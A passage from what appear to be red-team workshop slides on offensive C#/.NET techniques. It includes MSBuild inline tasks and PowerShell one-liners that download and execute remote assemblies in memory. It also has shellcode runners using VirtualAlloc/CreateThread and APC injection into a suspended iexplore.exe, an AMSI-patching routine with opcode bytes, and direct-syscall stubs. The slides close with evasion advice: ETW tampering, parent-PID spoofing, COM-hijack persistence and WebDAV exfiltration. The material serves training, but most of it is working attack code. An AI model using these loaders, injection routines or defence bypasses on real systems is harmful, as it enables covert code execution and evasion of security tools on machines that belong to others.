      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask
          {
            public override bool Execute()
            {
              Console.WriteLine("Hello From a Class.");
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

```

12 May 2021

MSBuild – Leverage the UsingTask (T1127)

msbuild T1127.csproj (T1127 by Casey Smith)

msbuild T1127.xml (T1127 by Arno0x0x)

```

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
  <Target Name="Hello">
    <SharpLauncher >
    </SharpLauncher>
  </Target>
  <UsingTask
    TaskName="SharpLauncher"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.Net" />
      <Using Namespace="System.Reflection" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
          Console.WriteLine(" EVIL CODE HERE ! :-) ");
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

```

Unorthodox ways to run C# and .NET – PowerShell

PowerShell loaders for C# Assemblies – (T1086)

- powershell -c "\$m=new-object net.webclient;\$m.proxy=[Net.WebRequest]::GetSystemWebProxy();\$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;\$Url='https://URL';\$dllByteArray=\$m.downloaddata(\$Url);\$assembly=[System.Reflection.Assembly]::Load(\$dllByteArray) ; [Object[]]\$Params=@(, ([String[]] @('src'))); \$assembly.EntryPoint.Invoke(\$null,\$Params)"
- powershell -c "\$m=new-object net.webclient;\$m.proxy=[Net.WebRequest]::GetSystemWebProxy();\$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;\$Url='https://URL';\$dllByteArray=\$m.downloaddata(\$Url);\$assembly=[System.Reflection.Assembly]::Load(\$dllByteArray) ; \$t= \$assembly.GetType("Program") ; \$jh= \$t.GetMethod("Main") ; \$instance = [Activator]::CreateInstance(\$t, \$null) ; \$jh.invoke(\$instance, \$null)"

PowerShell loader for C# Source Code – (T1086)

- powershell -c "\$m=new-object net.webclient;\$m.proxy=[Net.WebRequest]::GetSystemWebProxy();\$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;\$Url='https://URL';\$Source=\$m.downloadstring(\$Url);Add-Type -ReferencedAssemblies \$Assem -TypeDefintion \$Source -Language Csharp; [Application.Program]::Main()"

Unorthodox ways to run C# and .NET – More

- Microsoft Signed Binaries
 - DNX.exe by Matt Nelson
 - <https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/>
 - RCSI.exe by Matt Nelson
 - <https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/>
 - CSI.exe by Casey Smith
 - <http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html>

LOLBAS - Living Off The Land Binaries and Scripts by Oddvar Moe

<https://github.com/api0cradle/LOLBAS>

DotNetToJScript by James Farshaw

<https://github.com/tyranid/DotNetToJScript>

Exercises

Use/Modify your Hello.cs Example to RUN Using

InstallUtil


MSBuild

REGASM

Powershell

15 Min

Repurpose



Merging Existing Code for Better Tools

Repurpose

- Use Existing Code Pieces to Build Your Code
- Look for Mitre Att&ck Examples
 - <https://github.com/redcanaryco/atomic-red-team>
- Look for given/available function/operation examples
 - Web Client / Request Operations
 - .NET Code Operations
 - Registry Operations
 - Process Operations
- Search for more functionalities on Internet
 - <https://github.com/Arno0x>
 - <https://github.com/enigma0x3>
 - <https://github.com/FuzzySecurity>
 - <https://github.com/GhostPack>
 - <https://github.com/xpn>
 - <https://github.com/SharpC2>
 - <https://github.com/byt3bl33d3r>
 - <https://github.com/cobbr/>

Web Client Function for Download Data/String

Repurpose

```
// Create the Web Client
WebClient client = new WebClient(); ← Create a Web Client
// Initiate a variable for .NET assembly
byte[] asm = new byte[] {}; ← Variable for Bytes
// Initiate a variable for .NET source
string src = ""; ← Variable for String
switch (args[0])
{
    case "url":
        if (args[1] == "asm") {
            Console.WriteLine("Downloading the .NET assembly.");
            // Download the .NET assembly from a URL as data
            asm = client.DownloadData(args[2]); ← Download as binary
            // Call the .NET assembly execution for the data
            ExecDotNetAssembly(asm);
        }
        else
        {
            Console.WriteLine("Downloading the .NET source.");
            // Download the .NET source from a URL as string
            src = client.DownloadString(args[2]); ← Download as string
            // Call the .NET DOM compiler for the string
            CompileDotNetSource(src);
        }
    break;      Useful when loading malicious/extended content from remote. It doesn't touch disk.
    ...
```

Web Request Function for Communications (Part 1)

Repurpose

```
public static HttpWebRequest WebClientAdvanced(string url)
{
    //create a URI for the URL given
    Uri uri = new Uri(url); ← URL to URI Object
    //create the HTTP request
    HttpWebRequest client = WebRequest.Create(uri) as HttpWebRequest;

    // Use GET to normalise the traffic
    client.Method = WebRequestMethods.Http.Get; ← Set GET as HTTP method

    // Get the default proxy if there is
    client.Proxy = new System.Net.WebProxy(); ← Proxy Settings
    // Get the credentials for the proxy if there is
    client.Proxy.Credentials = System.Net.CredentialCache.DefaultCredentials;
    // Ignore the certificate issues if necessary
    client.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; ← Ignore SSL Errors

    // Create a cookie container
    CookieContainer cookies = new CookieContainer();
    // Add the session ID to the cookie
    cookies.Add(new Cookie("SESSIONID","123456789") { Domain = uri.Host }); ← Set a cookie if necessary
    // Assign the cookies to the request
    client.CookieContainer = cookies;

    // Set a User-Agent for it
    client.UserAgent = ("Mozilla/31337"); ← Set a User-Agent

    // Don't follow the redirects
    client.AllowAutoRedirect = false;
    // Return the client
    return client;
}
```

Web Request Function for Communications (Part 2)

Repurpose

```
Console.WriteLine("Downloading the .NET assembly");
// Generate an advanced web client
HttpWebRequest client = WebClientAdvanced(args[0]);
// Send the request and get the response
HttpWebResponse response = client.GetResponse() as HttpWebResponse; ← Send the request

Console.WriteLine("Processing the server response.");
// Download the .NET assembly from a URL as data if response is OK
// Defining the response body
byte[] responsebody = new byte[] {};
if (response.StatusCode == HttpStatusCode.OK) ← Check HTTP response code
{
    // Read the headers for debugging
    Console.WriteLine("Raw server headers for debugging:");
    for (int i = 0; i < response.Headers.Count; i++)
        Console.WriteLine("\t" + response.Headers.GetKey(i) + ": " + response.Headers.Get(i).ToString()); ← Print/read response headers

    MemoryStream ms = new MemoryStream();
    response.GetResponseStream().CopyTo(ms); ← Read response as a Stream
    responsebody = ms.ToArray();

    //close the connection if it's finished
    response.Close(); ← Close it when you're done
}
else
{
    Console.WriteLine("Server response is invalid: {0}", response.StatusCode);
}
```

Loading a .NET Assembly and Calling Functions

Repurpose

```
static void ExecDotNetAssembly(byte[] asm)
{
    // Loading the .NET Assembly
    System.Reflection.Assembly a = System.Reflection.Assembly.Load(asm); ← Load the .NET Assembly
    // Finding the Entry Point
    System.Reflection.MethodInfo method = a.EntryPoint; ← Find the Entry Point
    // Create the Instance for the Entry Point
    object o = a.CreateInstance(method.Name); ← Create an instance for it
    // Setting the parameters for Invoke
    //object[] apo= { PARAMETERS };
    object[] apo= { }; ← Set parameters
    // Invoking the Entry Point
    method.Invoke(o,apo); ← Call the function
    return;
}
```

Useful to load an external .NET Assembly or extend the existing features.

Compile .NET Source Code In Memory and Calling Functions

Repurpose

```
// Define the provider and parameters
CSharpCodeProvider provider = new CSharpCodeProvider();
CompilerParameters parameters = new CompilerParameters();
// If there are other .NET Assemblies required, add here
parameters.ReferencedAssemblies.Add("System.dll");
parameters.GenerateInMemory = true;
parameters.GenerateExecutable = true;
// Compile the .NET source code
CompilerResults results = provider.CompileAssemblyFromSource(parameters, src);
// Print error details if it fails
if (results.Errors.HasErrors)
    Console.WriteLine("I'm sorry master Wayne, I've failed you.");
// Get the compiled .NET Assembly
System.Reflection.Assembly a = results.CompiledAssembly;
// Finding the Entry Point
System.Reflection.MethodInfo method = a.EntryPoint;
// Create the Instance for the Entry Point
object o = a.CreateInstance(method.Name);
// Setting the parameters for Invoke
//object[] apo= { PARAMETERS };
object[] apo= { };
// Invoking the Entry Point
method.Invoke(o,apo);
return;
```

Set provider and parameters

As references if necessary

Compile it in memory

In errors, complain about it

.NET assembly is ready to go

Find the entry point

Create an instance for it

Set the parameters

Invoke the method

Useful to load an external .NET Source Code or extend the existing features.

Exercises

Add The Following Features to Your Binary

Get Content from a HTTP server


Read Content from a File

Load and Run a .NET Assembly

Load and Compile a .NET Source Code


15 Min

Improvements



Improvements

- Some Other Useful Features
- Registry Operations
- Process Operations
- Encryption



Registry

```
Dictionary<string, dynamic> registryBases= new Dictionary<string, object>();  
registryBases.Add("HKEY_CURRENT_USER", Registry.CurrentUser);  
registryBases.Add("HKEY_CLASSES_ROOT", Registry.ClassesRoot);  
registryBases.Add("HKEY_CURRENT_CONFIG", Registry.CurrentConfig);  
registryBases.Add("HKEY_LOCAL_MACHINE", Registry.LocalMachine);  
registryBases.Add("HKEY_USERS", Registry.Users);  
  
// Open the key for a "scope"  
using(RegistryKey key = registryBases[basename].OpenSubKey(keyname)) {  
    // Print the Sub Keys in a loop  
    foreach(String subkeyName in key.GetSubKeyNames()) {  
        Console.WriteLine(key.OpenSubKey(subkeyName).GetValue("DisplayName"));  
    }  
    // Print the Names and Values in a loop  
    foreach (string valuename in key.GetValueNames()) {  
        Console.WriteLine("Name: {0},\t Value: {1}", valuename, key.GetValue(valuename));  
    }  
}
```

Build a dictionary for all registry bases

So you can parse the request and ask them separately

Reading the key

Printing the sub keys

Printing the values

Registry

```
RegistryKey key = registryBases[basename].CreateSubKey(keyname); ← Creating a registry key
Console.WriteLine("Created successfully.");

using(RegistryKey key = registryBases[basename].OpenSubKey(keyname, true)) ← "true" makes it writable
{
    key.SetValue(vname,value,RegistryValueKind.String); ← Setting a name and value
    key.Close(); ← Close the key when finished
    Console.WriteLine("The registry value added successfully.");
}

registryBases[basename].DeleteSubKey(keyname); ← Deleting a registry key
registryBases[basename].Close();

using(RegistryKey key = registryBases[basename].OpenSubKey(keyname, true))
{
    key.DeleteValue(vname); ← Deleting a registry value
    key.Close();
    Console.WriteLine("The registry value deleted successfully.");
}
```

Process

```
string output = "";
System.Diagnostics.Process process = new System.Diagnostics.Process(); ← Setup the process
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
//startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; ← Hiding the Windows
startInfo.FileName = process_name; ← Process name
startInfo.Arguments = process_arguments; ← Process arguments
startInfo.UseShellExecute = false; ← Shell should be used?
startInfo.RedirectStandardOutput = true;
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start(); ← Start the process
Console.WriteLine("Process started.\nOutput:");
output = process.StandardOutput.ReadToEnd(); ← Process output
string err = process.StandardError.ReadToEnd(); ← Process error messages
Console.WriteLine(output);
if (err != "") {
    Console.WriteLine("Error: {0}",err);
}
process.WaitForExit(); ← Wait for process to exit
```

One-liner: `System.Diagnostics.Process.Start("cmd");`

Encryption (AES)

```
using System.Security.Cryptography;           Cryptography namespace
2 references
public static byte[] key = Encoding.UTF8.GetBytes("ENCRYPTIONISGOOD");      16 bytes key
2 references
public static byte[] iv = Encoding.UTF8.GetBytes("NOITISNTTHATGOOD");        16 bytes iv
1 reference
public static string Encrypt(string text)
{
    SymmetricAlgorithm algorithm = Aes.Create();          Create AES algorithm
    ICryptoTransform transform = algorithm.CreateEncryptor(key, iv); Set encryptor with key/iv
    byte[] inputbuffer = Encoding.UTF8.GetBytes(text);     Get the input bytes
    byte[] outputBuffer = transform.TransformFinalBlock(inputbuffer, 0, inputbuffer.Length); Prepare the output
    return Convert.ToBase64String(outputBuffer);           Convert to Base64
}

1 reference
public static string Decrypt(string text)
{
    SymmetricAlgorithm algorithm = Aes.Create();
    ICryptoTransform transform = algorithm.CreateDecryptor(key, iv); Set decryptor with key/iv
    byte[] inputbuffer = Convert.FromBase64String(text);
    byte[] outputBuffer = transform.TransformFinalBlock(inputbuffer, 0, inputbuffer.Length);
    return Encoding.UTF8.GetString(outputBuffer);
}
```

Exercises

Add The Following Features to Your Interactive Menu


Read the Registry Key Given

Modify the Registry Key Given

Run a Process Given

15 Min

Windows API



Platform Invoke (P/Invoke)

“P/Invoke is a technology that allows you to access structs, callbacks, and functions in **unmanaged** libraries from your **managed code**.”

- Microsoft

Platform Invoke by Microsoft

<https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke>

Platform Invoke Examples by Microsoft

<https://docs.microsoft.com/en-us/dotnet/framework/interop/platform-invoke-examples>

.NET Assemblies can access Win32 APIs, **if** PInvoke signatures are **correct**.

Best use is bypassing security controls.


P/Invoke Example for win32

```
using System.Runtime.InteropServices;

public class Program {

    // Import user32.dll (containing the function we need) and define
    // the method corresponding to the native function.
    [DllImport("user32.dll")]
    public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);

    public static void Main(string[] args) {
        // Invoke the function as a regular managed method.
        MessageBox(IntPtr.Zero, "Command-line message box", "Attention!", 0);
    }
}
```



P/Invoke Example for Mac

```
using System;
using System.Runtime.InteropServices;

namespace PInvokeSamples {
    public static class Program {

        // Import the libSystem shared library and define the method corresponding to the native func
        [DllImport("libSystem.dylib")]
        private static extern int getpid();

        public static void Main(string[] args){
            // Invoke the function and get the process ID.
            int pid = getpid();
            Console.WriteLine(pid);
        }
    }
}
```

P/Invoke Example for Linux

```
using System;
using System.Runtime.InteropServices;

namespace PInvokeSamples {
    public static class Program {

        // Import the libc shared library and define the method corresponding to the native function.
        [DllImport("libc.so.6")]
        private static extern int getpid();

        public static void Main(string[] args){
            // Invoke the function and get the process ID.
            int pid = getpid();
            Console.WriteLine(pid);
        }
    }
}
```

P/Invoke Wiki

P/Invoke Wiki

Pinvoker Visual Studio Plugin

<https://pinvoke.net/>

4: VirtualAlloc

Summary

[The VirtualAllocEx API](#)

```
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,  
Private Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr  
static def VirtualAllocEx(hProcess as IntPtr, lpAddress as IntPtr, dwSize as IntPtr, flAllo
```

Documentation

[\[VirtualAllocEx\] on MSDN](#)

5: VirtualAllocEx


Summary

[The VirtualAllocEx API](#)

```
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,  
Private Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr  
static def VirtualAllocEx(hProcess as IntPtr, lpAddress as IntPtr, dwSize as int, flAlloc
```

Documentation

[\[VirtualAllocEx\] on MSDN](#)



P/Invoke for Sample Shellcode/MalwaRE Functions

Windows API

```
[DllImport("kernel32")]
1 reference
public static extern UInt64 VirtualAlloc(UInt64 lpStartAddr, UInt64 size, UInt64 flAllocationType, UInt64 flProtect);
```

```
[DllImport("kernel32")]
1 reference
public static extern IntPtr CreateThread(
    UInt64 lpThreadAttributes,
    UInt64 dwStackSize,
    UInt64 lpStartAddress,
    IntPtr param,
    UInt64 dwCreationFlags,
    ref UInt64 lpThreadId
);
```

```
[DllImport("kernel32")]
1 reference
public static extern UInt64 WaitForSingleObject(
    IntPtr hHandle,
    UInt64 dwMilliseconds
);
```

Invoke A Shellcode on Windows (VirtualAlloc + CreateThread)

```
UInt64 funcAddr = VirtualAlloc(0, (UInt64)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Allocating memory
Console.WriteLine("VirtualAlloc used to allocate memory for the shellcode size.");

Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); ← Copying shellcode
Console.WriteLine("Shellcode copied to the memory address received.");

IntPtr hThread = IntPtr.Zero;
UInt64 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
Console.WriteLine("Variables set for the thread.");

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); ← Starting the thread
Console.WriteLine("CreateThread called.");

WaitForSingleObject(hThread, 0xFFFFFFFF); ← Wait for the thread
Console.WriteLine("Thread started, goodbye!");
```

Thread Injection on Windows (VirtualAllocEX + QueueUserAPC)

```

string strShellCode = "REPLACEME/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHB";
byte[] shellcode = System.Convert.FromBase64String(strShellCode.Replace("REPLACEME", ""));

string processpath = @"C:\Program Files\internet explorer\iexplore.exe";
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(processpath, null,
    IntPtr.Zero, IntPtr.Zero, false,
    ProcessCreationFlags.CREATE_SUSPENDED,
    IntPtr.Zero, null, ref si, out pi);

IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_READWRITE); ← Allocate Mem for RW
IntPtr bytesWritten = IntPtr.Zero;
bool resultBool = WriteProcessMemory(pi.hProcess, resultPtr, shellcode, shellcode.Length, out bytesWritten); ← Write the shellcode

Process targetProc = Process.GetProcessById((int)pi.dwProcessId); ← Get the process ID
ProcessThreadCollection currentThreads = targetProc.Threads;
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, currentThreads[0].Id); ← Open the thread
uint oldProtect = 0;
resultBool = VirtualProtectEx(pi.hProcess, resultPtr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); ← Make Mem RX
IntPtr ptr = QueueUserAPC(resultBool, sht, IntPtr.Zero); ← Queue Thread Inj.

IntPtr ThreadHandle = pi.hThread;
ResumeThread(ThreadHandle); ← Resume the thread

```

Creates a process in suspended mode

Allocate Mem for RW

Write the shellcode

Get the process ID


Open the thread

Make Mem RX

Queue Thread Inj.

Resume the thread

Evasions



Dynamic Invoke (D/Invoke) in C#

- Unlike P/Invoke, D/Invoke dynamically invokes the unmanaged DLL functions. The difference is Import table won't have dynamically resolved unmanaged APIs.
 - Helps to bypass PE import API analysis and EDR hooking (no PInvoke for APIs)
 - Modular process injection API
- Presented in BlueHat IL by Ruben Boonen (b33f) and The Wover
 - <https://www.youtube.com/watch?v=FuxpMXTgV9s>
- The code is in the SharpSploit repository (SharpSploit.Execution.DynamicInvoke)
 - <https://github.com/cobbr/SharpSploit>
- The Wover maintains a nuget for C# for it
 - <https://github.com/TheWover/DInvoke>

Direct Syscalls in C# using Unsafe

- C# can use direct syscalls with unsafe
- Red Team Tactics: Utilizing Syscalls in C# - Prerequisite Knowledge
 - <https://jhalon.github.io/utilizing-syscalls-in-csharp-1> (Jack Halon)
 - <https://github.com/jhalon/SharpCall> (Jack Halon)
 - <https://github.com/badBounty/directInjectorPOC> (BadBounty)

```
static byte[] bNtOpenProcess =  
{  
    0x4C, 0x8B, 0xD1,           // mov r10, rcx  
    0xB8, 0x26, 0x00, 0x00, 0x00, // mov eax, 0x26 (NtOpenProcess Syscall)  
    0x0F, 0x05,                // syscall  
    0xC3                      // ret  
};
```

Bypassing AMSI Patching AMSI Scan Buffer

Evasions

```
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
```

C++

```
HRESULT WINAPI AmsiScanBuffer(  
    _In_ HAMSICONTEXT amsiContext,  
    _In_ PVOID buffer,  
    _In_ ULONG length,  
    _In_ LPCWSTR contentName,  
    _In_opt_ HAMSISESSION session,  
    _Out_ AMSI_RESULT *result  
);
```

AMSI – Scan Buffer Bypass (Vulnerability by CyberArk, C# by Rasta Mouse)

- Change the buffer length to be scanned by AMSI to 0
- <https://www.cyberark.com/threat-research-blog/amsi-bypass-redux>
- <https://github.com/rasta-mouse/AmsiScanBufferBypass>

Bypassing AMSI Patching AMSI Scan Buffer

Evasions

```
IntPtr Address = GetProcAddress(LoadLibrary("am" + "si" + ".dl" + "l"), "Am" + "si" + "Scan" + "Buffer"); Load the amsi.dll and get AmsiScanBuffer function address  
UIntPtr size = (UIntPtr)5;  
uint p = 0;  
  
VirtualProtect(Address, size, 0x40, out p); Pointer permissions RWX  
  
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; Patch opcode  
  
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6); Get unmanaged pointer  
  
Marshal.Copy(Patch, 0, unmanagedPointer, 6); Copy the patch opcode  
  
MoveMemory(Address, unmanagedPointer, 6); Move the patch to the AmsiScanBuffer function address  
  
return 0;
```

AMSI – Scan Buffer Bypass (Vulnerability by CyberArk, C# by Rasta Mouse)

- Change the buffer length to be scanned by AMSI to 0
- <https://www.cyberark.com/threat-research-blog/amsi-bypass-redux>
- <https://github.com/rasta-mouse/AmsiScanBufferBypass>

C++

```
HRESULT WINAPI AmsiScanBuffer(  
    _In_     HAMSICONTEXT amsiContext,  
    _In_     PVOID       buffer,  
    _In_     ULONG       length,  
    _In_     LPCWSTR    contentName,  
    _In_opt_ HAMSISESSION session,  
    _Out_    AMSI_RESULT *result  
)
```

Bypassing Event Tracing for Windows (ETW)

- ETW is mainly used for debugging and performance monitoring
- Ruben Boonen (b33f) has released SilkETW for PoC C# detections
- EDRs adopted similar techniques for malicious detections via ETW
- ETW Bypasses - patching environment variables, binary or process
 - <https://www.mdsec.co.uk/2020/03/hiding-your-net-etw> by Adam Chester (_xpn)
 - <https://github.com/outflanknl/TamperETW> by Cornelis de Plaa
 - <https://modexp.wordpress.com/2020/04/08/red-teams-etw> by modexp
 - <https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63> by Matt Graeber

Obfuscation


- .NET Framework code can be decompiled easily (represented code)
 - PE binary artifacts, Static Signatures via Code or Ngrams, Reading the Code as RE
- Obfuscation
 - Altering the source code and/or binary to make the program hard to understand
 - Changing strings & variable names, adding simple calculations or operations
 - Randomising the content for static or dynamic detections
- Projects
 - C# -> Rosfuscator by Melvin Langvik - <https://github.com/Flangvik/RosFuscator>
 - PowerShell -> Chimera by tokyoneon - <https://github.com/tokyoneon/Chimera>
 - .NET-Obfuscator List - <https://github.com/NotPrab/.NET-Obfuscator>

Running Unmanaged Code in .NET

- Where direct P/Invoke, D/Invoke and Syscalls is not sufficient, there other .NET features to be used to run unmanaged code
 - Marshal.GetDelegateForFunctionPointer by D/Invoke research
- Weird Ways to Run Unmanaged Code in .NET by Adam Chester (_xpn)
<https://blog.xpnsec.com/weird-ways-to-execute-dotnet>
 - MethodDesc and Pointers Jumps
 - InternalCall and QCall
 - Samples: <https://github.com/xpn/NautilusProject>

Evasions

General Recommendations



Get a Code Signing Certificate

- Signed installers (MSI)
- Signed Kernel Drivers



Use WebDAV for Delivery

- Internal C2
- Delivering LOLBins
- Exfiltration

Use Legitimate Apps (LOLBin / LOLBas)
Command Line Manipulation
Fake Parent PID while CreateProcess
Spoof the Arguments while CreateProcess



Use COM Hijacking for Persistency

- Trigger in Registry
- Impersonate the Apps
- Alternate Data Streams (NTFS)



Remember that AMSI is everywhere

- Office Integration
- Scripting Integration (CScript, PS)
- Email Scanning
- .NET CLR (?)



Use .NET for Portability

- Compile When Necessary
- Inject it to Managed/Unmanaged
- Use as Binary or Script
- Run Powershell in Unmanaged

Exercises

Walk Through Some Advanced Examples

Platform Invoke Examples


Deploying ShellCode with Multiple Examples

Injecting Thread for Shellcode Deployment

Bypassing AMSI and Windows Defender

45 Min

Conclusion



Next Steps

Homework:

- Covenant C# C2 by Ryan Cobb (<https://github.com/cobbr/Covenant>)
- Apollo - Implant for Mythic by Dwight Hohnstein (<https://github.com/MythicAgents/Apollo>)
- Ghost Pack by SpectreOps (<https://github.com/GhostPack>)
- Atomic Red Team Repo by Red Canary (<https://github.com/redcanaryco/atomic-red-team>)
- Where is my implant? By Alexander Leary (<https://github.com/0xbadjuju/WheresMyImplant>)

People:

- Casey Smith, James Forshaw, Ruben Boonen, Will Schroeder, Oddvar Moe, Arno0x0x, Dave Kennedy, Daniel Rastamouse Duggan, Adam Chester, Dominic Chell, Grzegorz Tworek

Projects:

- Sharpsploit, Silenttrinity, Cobalt Strike, LOLBAS, Reconerator
- Github Repositories of @People Above

Thanks

